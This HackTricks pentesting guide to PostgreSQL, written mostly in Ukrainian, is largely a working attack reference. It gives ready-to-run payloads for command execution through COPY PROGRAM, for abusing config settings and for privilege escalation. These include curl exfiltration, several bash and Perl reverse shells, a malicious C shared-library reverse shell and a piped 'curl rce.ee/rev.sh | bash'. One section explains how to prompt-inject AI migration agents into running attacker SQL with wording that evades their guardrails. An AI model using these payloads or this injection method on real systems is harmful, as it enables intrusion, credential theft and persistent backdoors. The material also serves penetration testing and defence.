5432,5433 - Pentesting Postgresql

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

• Перевірте плани підписки!
• Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
• Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.

Основна інформація

PostgreSQL описується як об’єктно-реляційна система управління базами даних, яка є з відкритим кодом. Ця система не лише використовує мову SQL, а й розширює її додатковими можливостями. Її можливості дозволяють працювати з широким спектром типів даних та операцій, що робить її універсальним вибором для розробників та організацій.

Порт за замовчуванням: 5432, і якщо цей порт вже використовується, здається, postgresql використає наступний порт (ймовірно 5433), який вільний.

PORT     STATE SERVICE
5432/tcp open  pgsql

Підключення & Базове Enum

psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection

psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles

# Get current user
SELECT user;

# Get current database
SELECT current_catalog;

# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+

#List databases
SELECT datname FROM pg_database;

#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;

# Get languages
SELECT lanname,lanacl FROM pg_language;

# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;

# Get history of commands executed
\s

Warning

Якщо при виконанні \list ви знайдете базу даних під назвою rdsadmin, то ви знаходитесь всередині AWS postgresql database.

Для більш детальної інформації про як зловживати PostgreSQL database дивіться:

PostgreSQL injection

Автоматична енумерація

msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection

Brute force

Port scanning

За даними this research, коли спроба підключення не вдається, dblink викидає виняток sqlclient_unable_to_establish_sqlconnection, який містить пояснення помилки. Приклади таких деталей наведені нижче.

SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');

• Хост недоступний

DETAIL: could not connect to server: No route to host Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

• Порт закритий

DETAIL:  could not connect to server: Connection refused Is  the  server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

• Порт відкритий

DETAIL:  server closed the connection unexpectedly This  probably  means
the server terminated abnormally before or while processing the request

або

DETAIL:  FATAL:  password authentication failed for user "name"

• Port відкритий або відфільтрований

DETAIL:  could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

У PL/pgSQL функціях наразі неможливо отримати деталі винятків. Однак, якщо у вас є прямий доступ до сервера PostgreSQL, ви можете отримати необхідну інформацію. Якщо витягти імена користувачів та паролі з системних таблиць неможливо, ви можете розглянути використання методу wordlist attack, описаного в попередньому розділі, оскільки це може дати позитивний результат.

Перерахування привілеїв

Ролі

Цікаві групи

• Якщо ви є членом pg_execute_server_program, ви можете виконувати програми
• Якщо ви є членом pg_read_server_files, ви можете читати файли
• Якщо ви є членом pg_write_server_files, ви можете записувати файли

Tip

Зауважте, що в Postgres user, group і role — це те саме. Це залежить від того, як ви їх використовуєте і чи дозволяєте їм login.

# Get users roles
\du

#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;

# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');

# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.

# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.

Таблиці

# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';

# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;

#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';

Функції

# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access

# Get all functions of a schema
\df pg_catalog.*

# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;

# Another aparent option
SELECT * FROM pg_proc;

Дії з файловою системою

Читання каталогів і файлів

З цього commit члени визначеної групи DEFAULT_ROLE_READ_SERVER_FILES (яка називається pg_read_server_files) та super users можуть використовувати метод COPY для будь-якого шляху (див. convert_and_check_filename у genfile.c):

# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;

Warning

Пам’ятайте, що якщо ви не є суперкористувачем, але маєте дозволи CREATEROLE, ви можете додати себе до цієї групи:

GRANT pg_read_server_files TO username;

More info.

Існують інші функції postgres, які можна використовувати для читання файлу або перегляду вмісту каталогу. Використовувати їх можуть лише суперкористувачі та користувачі з явними дозволами:

# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission

select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');

# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file

# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation

Ви можете знайти більше функцій на https://www.postgresql.org/docs/current/functions-admin.html

Простий запис файлів

Тільки суперкористувачі та члени pg_write_server_files можуть використовувати copy для запису файлів.

copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';

Warning

Пам’ятайте, що якщо ви не є суперкористувачем, але маєте CREATEROLE дозволи, ви можете зробити себе членом тієї групи:

GRANT pg_write_server_files TO username;

More info.

Пам’ятайте, що COPY не може обробляти newline chars, тому навіть якщо ви використовуєте base64 payload, вам потрібно відправити все в одному рядку.
Важливе обмеження цієї техніки: copy не можна використовувати для запису двійкових файлів, оскільки він змінює деякі бінарні значення.

Завантаження двійкових файлів

Однак існують інші техніки для завантаження великих двійкових файлів:

Big Binary Files Upload (PostgreSQL)

Оновлення даних таблиці PostgreSQL шляхом запису локального файлу

Якщо у вас є необхідні дозволи для читання та запису файлів сервера PostgreSQL, ви можете оновити будь-яку таблицю на сервері шляхом перезапису пов’язаного filenode в the PostgreSQL data directory. More on this technique here.

Необхідні кроки:

1. Отримати директорію даних PostgreSQL

SELECT setting FROM pg_settings WHERE name = 'data_directory';

Примітка: Якщо ви не можете отримати поточний шлях директорії даних із налаштувань, ви можете дізнатися основну версію PostgreSQL через запит SELECT version() і спробувати brute-force шлях. Поширені шляхи директорій даних у Unix-інсталяціях PostgreSQL: /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/. Часте ім’я кластеру — main.

2. Отримати відносний шлях до filenode, пов’язаного з цільовою таблицею

SELECT pg_relation_filepath('{TABLE_NAME}')

Цей запит має повернути щось на кшталт base/3/1337. Повний шлях на диску буде $DATA_DIRECTORY/base/3/1337, тобто /var/lib/postgresql/13/main/base/3/1337.

3. Завантажити filenode через функції lo_*

SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)

4. Отримати datatype, пов’язаний з цільовою таблицею

SELECT
STRING_AGG(
CONCAT_WS(
',',
attname,
typname,
attlen,
attalign
),
';'
)
FROM pg_attribute
JOIN pg_type
ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{TABLE_NAME}';

5. Використайте PostgreSQL Filenode Editor щоб edit the filenode; встановіть всі булеві прапорці rol* в 1 для повних прав.

python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}

6. Повторно завантажте відредагований filenode через функції lo_*, і перезапишіть оригінальний файл на диску

SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')

7. (Опційно) Очистіть кеш таблиці в пам’яті, виконавши ресурсозатратний SQL-запит

SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)

8. Тепер ви повинні бачити оновлені значення таблиці в PostgreSQL.

Ви також можете стати суперадміністратором, редагуючи таблицю pg_authid. See the following section.

RCE

RCE to program

З часу version 9.3, лише суперкористувачі та члени групи pg_execute_server_program можуть використовувати copy для RCE (приклад з ексфільтрацією:

'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -

Приклад для exec:

#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';

Warning

Пам’ятайте, що якщо ви не є суперкористувачем, але маєте права CREATEROLE, ви можете зробити себе членом тієї групи:

GRANT pg_execute_server_program TO username;

More info.

Або використайте модуль multi/postgres/postgres_copy_from_program_cmd_exec з metasploit.
Більше інформації про цю вразливість тут. Хоча це було повідомлено як CVE-2019-9193, Postges оголосив, що це функціональність і не буде виправлено.

Обхід фільтрів ключових слів/WAF щоб дістатися до COPY PROGRAM

У контекстах SQLi зі stacked-запитами, WAF може видаляти або блокувати буквальне ключове слово COPY. Ви можете динамічно сформувати оператор і виконати його всередині PL/pgSQL DO-блоку. Наприклад, побудуйте першу букву C за допомогою CHR(67), щоб обійти наївні фільтри, і EXECUTE зібраний командний рядок:

DO $$
DECLARE cmd text;
BEGIN
cmd := CHR(67) || 'OPY (SELECT '''') TO PROGRAM ''bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"''';
EXECUTE cmd;
END $$;

This pattern avoids static keyword filtering and still achieves OS command execution via COPY ... PROGRAM. It is especially useful when the application echoes SQL errors and allows stacked queries.

RCE with PostgreSQL Languages

RCE with PostgreSQL Languages

RCE with PostgreSQL extensions

Once you have learned from the previous post how to upload binary files you could try obtain RCE uploading a postgresql extension and loading it.

RCE with PostgreSQL Extensions

PostgreSQL configuration file RCE

Tip

Наступні вектори RCE особливо корисні в обмежених SQLi контекстах, оскільки всі кроки можна виконати через вкладені SELECT-запити

The configuration file of PostgreSQL is writable by the postgres user, which is the one running the database, so as superuser, you can write files in the filesystem, and therefore you can overwrite this file.

RCE with ssl_passphrase_command

More information about this technique here.

The configuration file have some interesting attributes that can lead to RCE:

• ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key' Шлях до приватного ключа бази даних
• ssl_passphrase_command = '' Якщо приватний файл захищено паролем (зашифровано) postgresql виконає команду, вказану в цьому атрибуті.
• ssl_passphrase_command_supports_reload = off Якщо цей атрибут увімкнений, то команда, що виконується при захищеному паролем ключі, буде виконана коли буде викликано pg_reload_conf().

Тоді, атакуючому потрібно:

1. Dump private key з сервера
2. Encrypt завантажений приватний ключ:
3. rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
4. Overwrite
5. Dump поточну postgresql configuration
6. Overwrite configuration з налаштованими атрибутами:
7. ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
8. ssl_passphrase_command_supports_reload = on
9. Виконати pg_reload_conf()

Під час тестування я помітив, що це спрацює лише якщо приватний файл ключа має права 640, він належить root та групі ssl-cert або postgres (щоб користувач postgres міг його читати), і розміщений у /var/lib/postgresql/12/main.

RCE with archive_command

More information about this config and about WAL here.

Інший атрибут у конфігураційному файлі, який можна експлуатувати — це archive_command.

Для цього має бути встановлено archive_mode у 'on' або 'always'. Якщо це так, ми можемо перезаписати команду в archive_command і змусити її виконатися через операції WAL (write-ahead logging).

Загальні кроки:

1. Перевірити, чи увімкнено archive mode: SELECT current_setting('archive_mode')
2. Перезаписати archive_command полезним навантаженням. Наприклад, reverse shell: archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
3. Перезавантажити конфіг: SELECT pg_reload_conf()
4. Принудити операцію WAL виконатися, що викличе archive command: SELECT pg_switch_wal() або SELECT pg_switch_xlog() для деяких версій Postgres

Editing postgresql.conf via Large Objects (SQLi-friendly)

Коли потрібні багаторядкові записи (наприклад, щоб встановити кілька GUCs), використовуйте PostgreSQL Large Objects для читання та повного перезапису конфігурації з SQL. Такий підхід ідеальний у SQLi-контекстах, де COPY не може коректно обробляти newlines або бінарно-безпечні записи.

Example (adjust the major version and path if needed, e.g. version 15 on Debian):

-- 1) Import the current configuration and note the returned OID (example OID: 114575)
SELECT lo_import('/etc/postgresql/15/main/postgresql.conf');

-- 2) Read it back as text to verify
SELECT encode(lo_get(114575), 'escape');

-- 3) Prepare a minimal config snippet locally that forces execution via WAL
--    and base64-encode its contents, for example:
--    archive_mode = 'always'\n
--    archive_command = 'bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"'\n
--    archive_timeout = 1\n
--    Then write the new contents into a new Large Object and export it over the original file
SELECT lo_from_bytea(223, decode('<BASE64_POSTGRESQL_CONF>', 'base64'));
SELECT lo_export(223, '/etc/postgresql/15/main/postgresql.conf');

-- 4) Reload the configuration and optionally trigger a WAL switch
SELECT pg_reload_conf();
-- Optional explicit trigger if needed
SELECT pg_switch_wal();  -- or pg_switch_xlog() on older versions

Це дає надійне виконання команд ОС через archive_command від імені користувача postgres, за умови, що увімкнений archive_mode. На практиці встановлення малого archive_timeout може призвести до частого виклику без потреби в явному переключенні WAL.

RCE with preload libraries

More information about this technique here.

This attack vector takes advantage of the following configuration variables:

• session_preload_libraries – бібліотеки, які будуть завантажені сервером PostgreSQL під час підключення клієнта.
• dynamic_library_path – список каталогів, де сервер PostgreSQL шукатиме ці бібліотеки.

We can set the dynamic_library_path value to a directory, writable by the postgres user running the database, e.g., /tmp/ directory, and upload a malicious .so object there. Next, we will force the PostgreSQL server to load our newly uploaded library by including it in the session_preload_libraries variable.

The attack steps are:

1. Download the original postgresql.conf
2. Include the /tmp/ directory in the dynamic_library_path value, e.g. dynamic_library_path = '/tmp:$libdir'
3. Include the malicious library name in the session_preload_libraries value, e.g. session_preload_libraries = 'payload.so'
4. Check major PostgreSQL version via the SELECT version() query
5. Compile the malicious library code with the correct PostgreSQL dev package Sample code:

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

void _init() {
/*
code taken from https://www.revshells.com/
*/

int port = REVSHELL_PORT;
struct sockaddr_in revsockaddr;

int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");

connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);

char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
}

Compiling the code:

gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c

6. Upload the malicious postgresql.conf, created in steps 2-3, and overwrite the original one
7. Upload the payload.so from step 5 to the /tmp directory
8. Reload the server configuration by restarting the server or invoking the SELECT pg_reload_conf() query
9. At the next DB connection, you will receive the reverse shell connection.

Postgres Privesc

CREATEROLE Privesc

Grant

According to the docs: Ролі, що мають привілей CREATEROLE, можуть надавати або відкликати членство в будь-якій ролі, яка не є суперкористувачем.

So, if you have CREATEROLE permission you could grant yourself access to other roles (that aren’t superuser) that can give you the option to read & write files and execute commands:

# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;

Змінити Password

Користувачі з цією роллю також можуть змінювати passwords інших non-superusers:

#Change password
ALTER USER user_name WITH PASSWORD 'new_password';

Privesc to SUPERUSER

Досить часто трапляється, що локальні користувачі можуть login у PostgreSQL без вказівки будь-якого password. Отже, коли ви отримали permissions to execute code, ви можете зловживати цими правами, щоб присвоїти собі роль SUPERUSER:

COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';

Tip

Це зазвичай можливо через наступні рядки у файлі pg_hba.conf:

# "local" is for Unix domain socket connections only
local   all             all                                     trust
# IPv4 local connections:
host    all             all             127.0.0.1/32            trust
# IPv6 local connections:
host    all             all             ::1/128                 trust

ALTER TABLE privesc

У this writeup пояснюється, як стало можливим здійснити privesc у Postgres на GCP, зловживаючи привілеєм ALTER TABLE, який було надано користувачу.

Коли ви намагаєтеся зробити іншого користувача власником таблиці, ви повинні отримати помилку, що це забороняє, але, судячи з усього, GCP надав цю option to the not-superuser postgres user у GCP:

Поєднавши це з тим фактом, що коли команди INSERT/UPDATE/ANALYZE виконуються над таблицею з індексною функцією, сама функція викликається в межах команди з привілеями власника таблиці. Можна створити індекс з функцією та надати права власника над цією таблицею super user, а потім запустити ANALYZE над таблицею зі шкідливою функцією, яка зможе виконувати команди, оскільки використовує привілеї власника.

GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);

Exploitation

1. Почніть зі створення нової таблиці.
2. Вставте деякі неістотні записи в таблицю, щоб забезпечити дані для індексної функції.
3. Розробіть шкідливу індексну функцію, яка містить payload для виконання коду, що дозволяє виконувати несанкціоновані команди.
4. Виконайте ALTER власника таблиці на “cloudsqladmin” — це суперкористувацька роль GCP, яку Cloud SQL використовує виключно для управління та обслуговування бази даних.
5. Виконайте операцію ANALYZE над таблицею. Ця дія змушує движок PostgreSQL переключитися в контекст користувача власника таблиці “cloudsqladmin”. У результаті шкідлива індексна функція викликається з привілеями “cloudsqladmin”, що дозволяє виконати раніше несанкціоновану shell-команду.

У PostgreSQL цей потік виглядає приблизно так:

CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);

INSERT INTO temp_table VALUES ('dummy content');

/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';

CREATE INDEX index_malicious ON public.temp_table (suid_function(data));

ALTER TABLE temp_table OWNER TO cloudsqladmin;

/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';

ANALYZE public.temp_table;

Тоді таблиця shell_commands_results міститиме вивід виконаного коду:

uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)

Локальний вхід

Деякі неправильно налаштовані інстанції postgresql можуть дозволяти вхід будь-якого локального користувача; можливо виконати локальний вхід з 127.0.0.1, використовуючи dblink функцію:

\du * # Get Users
\l    # Get databases
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=someuser
password=supersecret
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);

Warning

Зауважте, що для того, щоб попередній запит спрацював функція dblink має існувати. Якщо її немає, ви можете спробувати створити її за допомогою

CREATE EXTENSION dblink;

Якщо у вас є пароль користувача з більшими привілеями, але цього користувача не дозволено login з зовнішньої IP-адреси, ви можете скористатися наступною функцією, щоб виконувати запити від імені цього користувача:

SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);

Можна перевірити, чи існує ця функція за допомогою:

SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;

Користувацька функція з SECURITY DEFINER

In this writeup, pentesters змогли виконати privesc всередині інстансу postgres, наданого IBM, тому що вони виявили цю функцію з прапором SECURITY DEFINER:

CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
    VOLATILE SECURITY DEFINER
    PARALLEL UNSAFE
COST 100

AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
…

Як explained in the docs, функція з прапором SECURITY DEFINER виконується з привілеями користувача, який її володіє. Тому, якщо функція вразлива до SQL Injection або виконує якісь привілейовані дії з параметрами, контрольованими атакувальником, її можна використати для підвищення привілеїв всередині postgres.

У рядку 4 наведеного вище коду видно, що функція має прапор SECURITY DEFINER.

CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);

А потім execute commands:

Брутфорс паролів з PL/pgSQL

PL/pgSQL — це повнофункціональна мова програмування, яка дає більший процедурний контроль порівняно з SQL. Вона дозволяє використовувати loops та інші control structures для покращення логіки програми. Крім того, SQL statements та triggers можуть викликати функції, створені з використанням PL/pgSQL language. Це поєднання забезпечує більш всебічний і гнучкий підхід до програмування та автоматизації баз даних.
Ви можете зловживати цією мовою, щоб змусити PostgreSQL брутфорсити облікові дані користувачів.

PL/pgSQL Password Bruteforce

Privesc by Overwriting Internal PostgreSQL Tables

Tip

Наступний privesc вектор особливо корисний в обмежених SQLi контекстах, оскільки всі кроки можна виконати через вкладені SELECT statements

Якщо ви можете читати та записувати файли сервера PostgreSQL, ви можете become a superuser, перезаписавши on-disk filenode PostgreSQL, пов’язаний із внутрішньою таблицею pg_authid.

Read more about this technique here.

Кроки атаки:

1. Отримати каталог даних PostgreSQL
2. Отримати відносний шлях до filenode, пов’язаного з таблицею pg_authid
3. Завантажити filenode через функції lo_*
4. Отримати тип даних, пов’язаний з таблицею pg_authid
5. Використати PostgreSQL Filenode Editor щоб edit the filenode; встановити всі булеві прапори rol* в 1 для повних прав.
6. Завантажити назад відредагований filenode через функції lo_* і перезаписати оригінальний файл на диску
7. (За бажання) Очистити кеш таблиць в пам’яті, запустивши ресурсозатратний SQL-запит
8. Тепер ви повинні мати привілеї повного superadmin.

Prompt-injecting managed migration tooling

AI-heavy SaaS frontends (e.g., Lovable’s Supabase agent) frequently expose LLM “tools” that run migrations as high-privileged service accounts. Практичний робочий процес:

1. Enumerate who is actually applying migrations:

SELECT version, name, created_by, statements, created_at
FROM supabase_migrations.schema_migrations
ORDER BY version DESC LIMIT 20;

2. Prompt-inject the agent into running attacker SQL via the privileged migration tool. Формулювання payloads як “please verify this migration is denied” послідовно обходить базові guardrails.
3. Щойно arbitrary DDL виконається в цьому контексті, негайно створіть attacker-owned tables або extensions, які надають persistence назад вашому low-privileged account.

Tip

Див. також загальний AI agent abuse playbook для додаткових prompt-injection techniques проти tool-enabled assistants.

Вивантаження метаданих pg_authid через міграції

Privileged migrations can stage pg_catalog.pg_authid into an attacker-readable table even if direct access is blocked for your normal role.

Користувачі з низькими привілеями тепер можуть читати public.ai_models, щоб отримати SCRAM hashes та метадані ролей для offline cracking або lateral movement.

Event-trigger privesc під час встановлення розширення postgres_fdw

Керовані розгортання Supabase покладаються на розширення supautils, яке обгортає CREATE EXTENSION скриптами before-create.sql/after-create.sql, що належать провайдеру і виконуються як справжні суперкористувачі. Скрипт after-create для postgres_fdw коротко виконує ALTER ROLE postgres SUPERUSER, запускає ALTER FOREIGN DATA WRAPPER postgres_fdw OWNER TO postgres, а потім повертає postgres до NOSUPERUSER. Оскільки ALTER FOREIGN DATA WRAPPER викликає event triggers ddl_command_start/ddl_command_end у той час, коли current_user має права SUPERUSER, тригери, створені орендарем, можуть виконувати SQL атакуючого всередині цього вікна.

Потік експлуатації:

1. Створити PL/pgSQL event trigger function, яка перевіряє SELECT usesuper FROM pg_user WHERE usename = current_user і, якщо true, створює бекдор-роль (наприклад, CREATE ROLE priv_esc WITH SUPERUSER LOGIN PASSWORD 'temp123').
2. Зареєструвати функцію на обох ddl_command_start та ddl_command_end.
3. DROP EXTENSION IF EXISTS postgres_fdw CASCADE; а потім CREATE EXTENSION postgres_fdw; щоб повторно запустити Supabase’s after-create hook.
4. Коли хук підвищує postgres, тригер виконується, створює персистентну роль SUPERUSER і повертає її назад postgres для зручного доступу через SET ROLE.

</details>

Спроба Supabase пропустити unsafe triggers перевіряє лише ownership, тому переконайтеся, що trigger function owner — ваша low-privileged role, але payload виконується лише коли hook переключає `current_user` на SUPERUSER. Оскільки trigger повторно запускається при майбутніх DDL, він також виступає як self-healing persistence backdoor щоразу, коли provider тимчасово підвищує tenant roles.

### Перетворення тимчасового доступу SUPERUSER на компрометацію хоста

Після успішного виконання `SET ROLE priv_esc;` повторно виконайте раніше заблоковані primitives:
```sql
INSERT INTO public.ai_models(model_name, config)
VALUES ('hostname', to_jsonb(pg_read_file('/etc/hostname', 0, 100)));
COPY (SELECT '') TO PROGRAM 'curl https://rce.ee/rev.sh | bash';

find / -perm -4000 -type f 2>/dev/null

msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload

log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/

sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db

find /etc/postgresql -maxdepth 4 -type f \( -name "postgresql.conf" -o -name "pg_hba.conf" \) 2>/dev/null
ls -l /var/run/postgresql/.s.PGSQL.5432 ~/.pgpass 2>/dev/null

rg -n "^(host|local)|trust|peer|md5|scram|password|ssl" /etc/postgresql 2>/dev/null
sudo -u postgres psql -c 'SHOW hba_file; SHOW config_file;' 2>/dev/null
sudo -u postgres psql -c '\du' 2>/dev/null